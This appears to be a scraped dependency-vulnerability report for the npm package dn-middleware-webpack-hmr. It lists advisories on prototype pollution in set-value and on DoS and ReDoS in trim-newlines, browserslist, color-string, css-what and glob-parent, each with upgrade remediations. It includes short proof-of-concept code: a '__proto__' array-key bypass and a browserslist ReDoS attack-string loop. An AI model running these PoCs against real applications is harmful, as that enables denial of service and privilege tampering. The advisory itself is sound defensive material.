  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack@3.12.0 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 http-proxy-middleware@0.19.2 micromatch@3.1.10 extglob@2.0.4 expand-brackets@2.1.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 react-dev-utils@6.1.1 globby@8.0.1 fast-glob@2.2.7 micromatch@3.1.10 extglob@2.0.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 extglob@2.0.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 extglob@2.0.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 react-dev-utils@6.1.1 globby@8.0.1 fast-glob@2.2.7 micromatch@3.1.10 nanomatch@1.2.13 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 nanomatch@1.2.13 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 nanomatch@1.2.13 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 react-dev-utils@6.1.1 globby@8.0.1 fast-glob@2.2.7 micromatch@3.1.10 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack@3.12.0 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 http-proxy-middleware@0.19.2 micromatch@3.1.10 extglob@2.0.4 expand-brackets@2.1.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 react-dev-utils@6.1.1 globby@8.0.1 fast-glob@2.2.7 micromatch@3.1.10 extglob@2.0.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 extglob@2.0.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 extglob@2.0.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 react-dev-utils@6.1.1 globby@8.0.1 fast-glob@2.2.7 micromatch@3.1.10 nanomatch@1.2.13 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 nanomatch@1.2.13 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 nanomatch@1.2.13 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 react-dev-utils@6.1.1 globby@8.0.1 fast-glob@2.2.7 micromatch@3.1.10 extglob@2.0.4 expand-brackets@2.1.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 extglob@2.0.4 expand-brackets@2.1.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 extglob@2.0.4 expand-brackets@2.1.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack@3.12.0 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack@3.12.0 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 react-dev-utils@6.1.1 globby@8.0.1 fast-glob@2.2.7 micromatch@3.1.10 extglob@2.0.4 expand-brackets@2.1.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 extglob@2.0.4 expand-brackets@2.1.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 extglob@2.0.4 expand-brackets@2.1.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack@3.12.0 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack@3.12.0 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack@3.12.0 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack@3.12.0 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack@3.12.0 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 extglob@2.0.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack@3.12.0 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 extglob@2.0.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack@3.12.0 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 nanomatch@1.2.13 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack@3.12.0 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 nanomatch@1.2.13 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack@3.12.0 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack@3.12.0 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack@3.12.0 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 extglob@2.0.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack@3.12.0 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 extglob@2.0.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack@3.12.0 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 nanomatch@1.2.13 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack@3.12.0 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 nanomatch@1.2.13 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack@3.12.0 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 extglob@2.0.4 expand-brackets@2.1.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack@3.12.0 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 extglob@2.0.4 expand-brackets@2.1.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack@3.12.0 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 extglob@2.0.4 expand-brackets@2.1.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack@3.12.0 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 extglob@2.0.4 expand-brackets@2.1.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 union-value@1.0.1 set-value@2.0.1

Overview

set-value is a package that creates nested values and any intermediaries using dot notation ('a.b.c') paths.

Affected versions of this package are vulnerable to Prototype Pollution. A type confusion vulnerability can lead to a bypass of CVE-2019-10747 when the user-provided keys used in the path parameter are arrays.

PoC

const set = require("set-value")

// set({}, ['__proto__','polluted'], 'yes');
// console.log(polluted); // Error: Cannot set unsafe key: "__proto__"

set({}, [['__proto__'],'polluted'], 'yes');
console.log(polluted);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge
  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server
  • Web server

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).
  2. Require schema validation of JSON input.
  3. Avoid using unsafe recursive merge functions.
  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.
  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade set-value to version 4.0.1 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: trim-newlines
  • Introduced through: webpack-dev-server@2.11.5

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 internal-ip@1.2.0 meow@3.7.0 trim-newlines@1.0.0

Overview

trim-newlines is a Trim newlines from the start and/or end of a string

Affected versions of this package are vulnerable to Denial of Service (DoS) via the end() method.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade trim-newlines to version 3.0.1, 4.0.1 or higher.

References

high severity

Information Exposure

  • Vulnerable module: webpack-dev-server
  • Introduced through: webpack-dev-server@2.11.5

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5
    Remediation: Upgrade to webpack-dev-server@3.1.11.

Overview

webpack-dev-server Uses webpack with a development server that provides live reloading. It should be used for development only.

Affected versions of this package are vulnerable to Information Exposure. The origin of requests is not checked by the WebSocket server, which is used for HMR. A malicious user could receive the HMR message sent by the WebSocket server via a ws://127.0.0.1:8080/ connection from any origin.

Remediation

Upgrade webpack-dev-server to version 3.1.11 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: browserslist
  • Introduced through: react-dev-utils@6.1.1

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 react-dev-utils@6.1.1 browserslist@4.1.1

Overview

browserslist is a Share target browsers between different front-end tools, like Autoprefixer, Stylelint and babel-env-preset

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) during parsing of queries.

PoC by Yeting Li

var browserslist = require("browserslist")
function build_attack(n) {
    var ret = "> "
    for (var i = 0; i < n; i++) {
        ret += "1"
    }
    return ret + "!";
}

// browserslist('> 1%')

//browserslist(build_attack(500000))
for(var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
        try{
            browserslist(attack_str);
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
            }
        catch(e){
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
        }
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade browserslist to version 4.16.5 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: color-string
  • Introduced through: css-loader@0.26.4 and optimize-css-assets-webpack-plugin@3.2.0

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-colormin@2.2.2 colormin@1.1.2 color@0.11.4 color-string@0.3.0
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-colormin@2.2.2 colormin@1.1.2 color@0.11.4 color-string@0.3.0

Overview

color-string is a Parser and generator for CSS color strings

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the hwb regular expression in the cs.get.hwb function in index.js. The affected regular expression exhibits quadratic worst-case time complexity.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade color-string to version 1.5.5 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: css-what
  • Introduced through: cssnano@4.1.11

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 cssnano@4.1.11 cssnano-preset-default@4.0.8 postcss-svgo@4.0.3 svgo@1.3.2 css-select@2.1.0 css-what@3.4.2
    Remediation: Upgrade to cssnano@5.0.0.

Overview

css-what is an a CSS selector parser

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via attribute parsing.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade css-what to version 5.0.1 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: glob-parent
  • Introduced through: webpack-dev-server@2.11.5, react-dev-utils@6.1.1 and others

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 chokidar@2.1.8 glob-parent@3.1.0
    Remediation: Upgrade to webpack-dev-server@4.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 react-dev-utils@6.1.1 globby@8.0.1 fast-glob@2.2.7 glob-parent@3.1.0
    Remediation: Upgrade to react-dev-utils@11.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack@3.12.0 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 glob-parent@3.1.0

Overview

glob-parent is a package that helps extracting the non-magic parent path from a glob string.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The enclosure regex used to check for strings ending in enclosure containing path separator.

PoC by Yeting Li

var globParent = require("glob-parent")
